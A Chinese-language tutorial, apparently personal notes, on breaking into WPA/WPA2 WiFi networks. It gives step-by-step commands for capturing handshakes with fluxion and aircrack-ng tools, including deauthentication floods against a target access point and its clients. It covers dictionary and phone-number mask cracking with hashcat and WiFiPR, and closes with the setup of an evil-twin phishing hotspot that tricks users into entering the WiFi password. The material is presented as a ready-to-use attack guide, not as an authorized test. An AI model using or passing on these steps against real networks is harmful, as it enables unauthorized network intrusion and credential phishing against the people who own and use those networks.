握手包

傻瓜式

fluxion-6.9

点击File–>Preferences–>Behavior,取消勾选Save Size when closing

切换到root用户

1
./fluxion.sh

按以下选择配置攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
选择 [2] Handshake Snooper 检索WPA/WPA2加密散列。

选择要扫描的信道,根据要破解的WiFi选择

[2] 跳过

[2] 重置攻击

[2] aireplay-ng 解除认证方式 (侵略性)

[1] aircrack-ng 验证 (不推荐)

[1] 每30秒钟 (推荐).

[2] Synchronously (推荐).

等待抓包成功,握手包路径fluxion6.9/attacks/Handshake Snooper/handshakes/

手动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 关闭其他占用
sudo airmon-ng check kill

# 禁用网卡(拔掉插头)
sudo ifconfig wlan0 down

# 将模式改为监听模式 (monitor)
sudo iw dev wlan0 set type monitor

# 重新启用网卡(插回插头)
sudo ifconfig wlan0 up

# 锁定到 1 信道
sudo iw dev wlan0 set channel 1

# 锁定到 6 信道并开启 40MHz 频宽 (HT40+) —— 抓取高速 Wi-Fi 常用
sudo iw dev wlan0 set channel 6 HT40+

# 扫描
sudo airodump-ng -c 信道 wlan0

#获取认证信息
sudo airodump-ng -w 文件名 -c 信道 --bssid 目标AP wlan0

#解除AP与客户端验证
sudo aireplay-ng --deauth 0 -a 目标AP -c 指定客户端 wlan0

#查看状态
iw dev wlan0 info

破解

Windows跑包软件Wifipr

hashcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
F:\Downloads\WIFI-cracking\hashcat-7.1.2>hashcat.exe --help
hashcat (v7.1.2) 帮助模式启动

用法: hashcat [选项]... 哈希值|哈希文件|hccapx文件 [字典|掩码|目录]...

- [ 选项 ] -

选项简写 / 全称 | 类型 | 描述 | 示例
================================+======+======================================================+=======================
-m, --hash-type | 数字 | 哈希类型,参考下方列表 (不指定则尝试自动识别) | -m 1000
-a, --attack-mode | 数字 | 攻击模式,参考下方列表 | -a 3
-V, --version | | 显示版本号 |
-h, --help | | 显示帮助。使用 -hh 显示所有支持的哈希模式 | -h 或 -hh
--quiet | | 静默模式,抑制输出 |
--hex-charset | | 假设给定的字符集是十六进制格式 |
--hex-salt | | 假设给定的盐值 (Salt) 是十六进制格式 |
--hex-wordlist | | 假设字典中的单词是十六进制格式 |
--force | | 强制运行,忽略所有警告 |
--deprecated-check-disable | | 允许使用已弃用的插件 |
--status | | 启用状态屏幕的自动更新 |
--status-json | | 以 JSON 格式输出状态 |
--status-timer | 数字 | 设置状态屏幕更新间隔秒数 | --status-timer=1
--stdin-timeout-abort | 数字 | 如果标准输入 X 秒无响应则中止 | --stdin-timeout-abort=300
--machine-readable | | 以机器可读的格式显示状态 |
--keep-guessing | | 破解出一个哈希后继续尝试剩余哈希 |
--self-test-disable | | 启动时禁用自检功能 |
--loopback | | 将破解出的明文添加到循环回流目录 |
--markov-hcstat2 | 文件 | 指定要使用的 hcstat2 马尔可夫统计文件 | --markov-hcstat2=my.hcstat2
--markov-disable | | 禁用马尔可夫链,模拟传统的暴力破解 |
--markov-classic | | 启用经典马尔可夫链,非逐位模式 |
--markov-inverse | | 启用逆向马尔可夫链,非逐位模式 |
-t, --markov-threshold | 数字 | 停止接受新马尔可夫链的阈值 X | -t 50
--metal-compiler-runtime | 数字 | Metal 内核编译超过 X 秒后放弃 | --metal-compiler-runtime=180
--runtime | 数字 | 运行 X 秒后自动停止会话 | --runtime=10
--session | 字符 | 定义特定的会话名称 | --session=mysession
--restore | | 从会话记录中恢复进度 |
--restore-disable | | 不写入恢复文件 (断点记录) |
--restore-file-path | 文件 | 指定恢复文件的特定路径 | --restore-file-path=x.restore
-o, --outfile | 文件 | 定义破解结果的输出文件 | -o outfile.txt
--outfile-format | 字符 | 输出格式,用逗号分隔 | --outfile-format=1,3
--outfile-json | | 强制以 JSON 格式输出结果 |
--outfile-autohex-disable | | 禁用对输出明文使用 $HEX[] 编码 |
--outfile-check-timer | 数字 | 每隔 X 秒检查一次输出文件 | --outfile-check-timer=30
--wordlist-autohex-disable | | 禁用对字典中 $HEX[] 编码的自动转换 |
-p, --separator | 字符 | 哈希表和输出文件使用的分隔符 | -p :
--stdout | | 不进行破解,仅打印候选密码 |
--show | | 比对哈希表与已破记录(potfile),显示已破解的哈希 |
--left | | 比对哈希表与已破记录(potfile),显示未破解的哈希 |
--username | | 启用忽略哈希文件中的用户名功能 |
--dynamic-x | | 忽略哈希中的 $dynamic_X$ 前缀 |
--remove | | 哈希一旦被破解即从源文件中移除 |
--remove-timer | 数字 | 每隔 X 秒更新一次输入的哈希文件 | --remove-timer=30
--potfile-disable | | 不写入 potfile (已破解哈希库) |
--potfile-path | 文件 | 指定 potfile 的路径 | --potfile-path=my.pot
--encoding-from | 编码 | 强制内部字典输入编码格式 | --encoding-from=iso-8859-15
--encoding-to | 编码 | 强制内部字典输出编码格式 | --encoding-to=utf-32le
--debug-mode | 数字 | 定义规则调试模式 (仅限带规则的混合攻击) | --debug-mode=4
--debug-file | 文件 | 规则调试结果的输出文件 | --debug-file=good.log
--induction-dir | 目录 | 指定用于循环回流的感应目录 | --induction=inducts
--outfile-check-dir | 目录 | 指定监控第三方输出文件的目录 | --outfile-check-dir=x
--logfile-disable | | 禁用日志文件 |
--hccapx-message-pair | 数字 | 仅加载匹配 X 的 hccapx 消息对 | --hccapx-message-pair=2
--nonce-error-corrections | 数字 | 替换 AP Nonce 最后几字节的暴力修正范围 | --nonce-error-corrections=16
--keyboard-layout-mapping | 文件 | 特殊模式的键盘布局映射表 | --keyb=german.hckmap
--truecrypt-keyfiles | 文件 | 使用的 TrueCrypt 密钥文件,用逗号分隔 | --truecrypt-keyf=x.png
--veracrypt-keyfiles | 文件 | 使用的 VeraCrypt 密钥文件,用逗号分隔 | --veracrypt-keyf=x.txt
--veracrypt-pim-start | 数字 | VeraCrypt PIM 起始值 | --veracrypt-pim-start=450
--veracrypt-pim-stop | 数字 | VeraCrypt PIM 终止值 | --veracrypt-pim-stop=500
-b, --benchmark | | 对选定的哈希模式运行性能测试 |
--benchmark-all | | 对所有模式运行性能测试 (配合 -b) |
--benchmark-min | 数字 | 设置测试的起始哈希模式 (配合 -b) | --benchmark-min=100
--benchmark-max | 数字 | 设置测试的结束哈希模式 (配合 -b) | --benchmark-max=1000
--speed-only | | 仅返回预估攻击速度后退出 |
--progress-only | | 仅返回理想进度步长和处理时间 |
-c, --segment-size | 数字 | 设置从字典缓存到内存的大小 (MB) | -c 32
--bitmap-min | 数字 | 设置位图允许的最小比特位 | --bitmap-min=24
--bitmap-max | 数字 | 设置位图允许的最大比特位 | --bitmap-max=24
--cpu-affinity | 字符 | 锁定特定的 CPU 设备,用逗号分隔 | --cpu-affinity=1,2,3
--hook-threads | 数字 | 设置每个计算单元的钩子线程数 | --hook-threads=8
-H, --hash-info | | 显示每个哈希模式的详细信息 | -H 或 -HH
--example-hashes | | --hash-info 的别名 |
--backend-ignore-cuda | | 启动时不尝试打开 CUDA 接口 |
--backend-ignore-hip | | 启动时不尝试打开 HIP 接口 |
--backend-ignore-metal | | 启动时不尝试打开 Metal 接口 |
--backend-ignore-opencl | | 启动时不尝试打开 OpenCL 接口 |
-I, --backend-info | | 显示系统/环境/后端 API 信息 | -I 或 -II
-d, --backend-devices | 字符 | 指定使用的后端设备 (显卡) ID,逗号分隔 | -d 1
-Y, --backend-devices-virtmulti| 数字 | 在真实设备上派生 X 个虚拟实例 | -Y 8
-R, --backend-devices-virthost | 数字 | 指定用于创建虚拟实例的真实设备 ID | -R 1
--backend-devices-keepfree | 数字 | 保持指定百分比的设备显存空闲 | --backend-devices-keepfree=5
-D, --opencl-device-types | 字符 | 指定 OpenCL 设备类型,逗号分隔 | -D 1
-O, --optimized-kernel-enable | | 启用优化内核 (会限制密码长度,大幅加速) |
-M, --multiply-accel-disable | | 禁用根据处理器数量倍增内核加速 |
-w, --workload-profile | 数字 | 启用特定的工作负载配置文件 (1-4) | -w 3
-n, --kernel-accel | 数字 | 手动调优:设置外部循环步长 | -n 64
-u, --kernel-loops | 数字 | 手动调优:设置内部循环步长 | -u 256
-T, --kernel-threads | 数字 | 手动调优:设置线程数 | -T 64
--hwmon-disable | | 禁用温度、风扇速度读取及自动触发 |
--hwmon-temp-abort | 数字 | 温度达到 X 摄氏度时自动中止 | --hwmon-temp-abort=100
-s, --skip | 数字 | 跳过字典开头的 X 个单词 | -s 1000000
-l, --limit | 数字 | 限制处理 X 个单词 (从跳过点开始计) | -l 1000000
--keyspace | | 显示密钥空间基础值并退出 |
-j, --rule-left | 规则 | 对左侧字典的每个单词应用单个规则 | -j 'c'
-k, --rule-right | 规则 | 对右侧字典的每个单词应用单个规则 | -k '^-'
-r, --rules-file | 文件 | 对字典应用规则文件中的多条规则 | -r rules/best64.rule
-g, --generate-rules | 数字 | 生成 X 条随机规则 | -g 10000
-1, --custom-charset1 | 字符 | 用户自定义字符集 ?1 | -1 ?l?d?u
-2, --custom-charset2 | 字符 | 用户自定义字符集 ?2 | -2 ?l?d?s
--identify | | 显示输入哈希所有可能支持的算法 | --identify my.hash
-i, --increment | | 启用掩码增量模式 (由短变长) |
--increment-min | 数字 | 掩码增量起始长度 | --increment-min=4
--increment-max | 数字 | 掩码增量终止长度 | --increment-max=8
-S, --slow-candidates | | 启用较慢但更高级的候选密码生成器 |
--brain-server | | 启用 Brain 服务器 (分布式/缓存) |
-z, --brain-client | | 启用 Brain 客户端,激活 -S |

- [ 哈希模式 (Hash Modes) ] -

请使用 -hh 显示所有支持的哈希模式

- [ 攻击模式 (Attack Modes) ] -

# | 模式
===+======
0 | Straight (纯字典)
1 | Combination (组合攻击)
3 | Brute-force (掩码/暴力攻击)
6 | Hybrid Wordlist + Mask (字典+掩码)
7 | Hybrid Mask + Wordlist (掩码+字典)
9 | Association (关联攻击)

- [ 内置字符集 ] -

? | 字符集
===+=========
l | 小写字母 (abcdefghijklmnopqrstuvwxyz) [a-z]
u | 大写字母 (ABCDEFGHIJKLMNOPQRSTUVWXYZ) [A-Z]
d | 数字 (0123456789) [0-9]
h | 十六进制小写 (0123456789abcdef)
H | 十六进制大写 (0123456789ABCDEF)
s | 特殊字符 (!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~)
a | 以上所有 (?l?u?d?s)
b | 0x00 - 0xff (所有 8 位值)

- [ 工作负载配置文件 (Workload Profiles) ] -

# | 性能级别 | 运行耗时 | 功耗等级 | 对系统的影响
===+=============+=========+===================+=================
1 | 低 (Low) | 2 ms | 低 | 几乎无影响
2 | 默认 | 12 ms | 经济 | 有轻微卡顿感
3 | 高 (High) | 96 ms | 高 | 桌面操作无响应
4 | 噩梦模式 | 480 ms | 疯狂 | 仅限无桌面服务器使用

- [ 基础示例 ] -

攻击模式 | 哈希类型 | 示例命令
==================+=======+==================================================================
纯字典 | $P$ | hashcat -a 0 -m 400 example400.hash example.dict
字典 + 规则 | MD5 | hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
暴力/掩码 | MD5 | hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
组合攻击 | MD5 | hashcat -a 1 -m 0 example0.hash dict1.dict dict2.dict

-m 22000 现在的 WPA2 爆破统一用 22000 模式,别再用老掉牙的 2500 了。

警告 -w 4 如果只有一张显卡且还要盯着屏幕看,千万别开 -w 4,否则电脑会像死机了一样。

-O: 内核优化。

字典暴力破解

原理:用字典的密码一个一个尝试,穷举。显卡越强跑得越快。
字典下载

wifipr

导入握手包,选择字典攻击,添加字典

选择显卡

Recovery-Run 开始跑包

hashcat

1
2
3
4
# -m 22000: WPA2 模式
# -a 0: 字典模式
# -w 3: 负载等级(1-4,3 代表较高,适合独显)
hashcat.exe -m 22000 -a 0 target.hc22000 wordlist.txt -w 3

掩码暴力破解

wifipr

  1. **%%**:

    • 表示静态字符 %。在生成的密码中会包含一个 % 字符。
  2. **%c**:

    • 代表小写拉丁字母字符(a到z)。在密码中可以随机生成一个小写字母。
  3. **%C**:

    • 代表大写拉丁字母字符(A到Z)。在密码中可以随机生成一个大写字母。
  4. **%#**:

    • 代表所有特殊字符(从 !~,包括空格)。可以随机生成一个特殊字符。
  5. **%@**:

    • 代表一小部分特殊字符(!@#$%^&*()-_+= 和空格)。可以随机生成一个小型特殊字符。
  6. **%?**:

    • 代表所有可打印字符,ASCII码范围为32到127。这意味着可以生成任何可见字符,包括字母、数字和符号。
  7. **%d**:

    • 代表一个数字(0到9)。可以随机生成一个数字字符。
  8. **%d(x-y)**:

    • 代表范围内的数字,生成从 xy(包括 xy)的数字。例如,%d(1-100) 生成从 1 到 100 的数字。
  9. **%r(x-y)**:

    • 代表用户定义的字符,ASCII码在 xy 之间。可以生成该范围内的任意字符。
  10. **%r(x1-y1,x2-y2...xn-yn)**:

    • 代表多个不重叠的ASCII字符序列。例如,%r(65-90,97-122) 可以生成大写字母(A-Z)和小写字母(a-z)。
  11. **%[1..9]**:

    • 代表用户定义的字符集,可以从 19 中随机选择一个字符。
  12. **%[1..9](min-max)**:

    • 代表用户定义的范围 19,并且可以生成长度在 minmax 之间的字符组合。例如,%[1..9](2-4) 可以生成长度为2到4的数字组合。

hashcat

Hashcat 不直接读取 .cap.pcap。可以用 hcxpcapngtool 将其转换为 .hc22000 格式。

1
2
# Kali 环境下转换
hcxpcapngtool -o target.hc22000 your_capture.cap

掩码攻击

1
2
3
4
5
6
7
# ?d 代表数字 (0-9)
# 8个?d代表爆破所有8位纯数字密码
hashcat.exe -m 22000 -a 3 target.hc22000 ?d?d?d?d?d?d?d?d -w 3

# 假设 all_phone.hcmask 每一行都是类似 138?d?d?d?d?d?d?d?d 的掩码
# 注: -O (Optimized) 针对长度小于 32 位的密码有大幅加速。
hashcat.exe -m 22000 -a 3 target.hc22000 all_phone.hcmask -w 3 -d GPU编号 -O

钓鱼

原理:创建一个同名的无密码验证的钓鱼热点,洪水攻击,使客户端与路由器断开连接,迫使客户端连接上钓鱼热点,跳转到钓鱼页面输入wifi密码。

按以下选择配置钓鱼热点

1
2
3
4
5
6
7
8
9
10
11
12
13
[1] 专属门户 创建一个“邪恶的双胞胎”接入点。
[2] 跳过
[2] wlan0


[*] Select a method of deauthentication
[1] mdk4
[2] aireplay
[3] mdk3

[1] 流氓 AP - hostapd (推荐)
[1] hash - cowpatty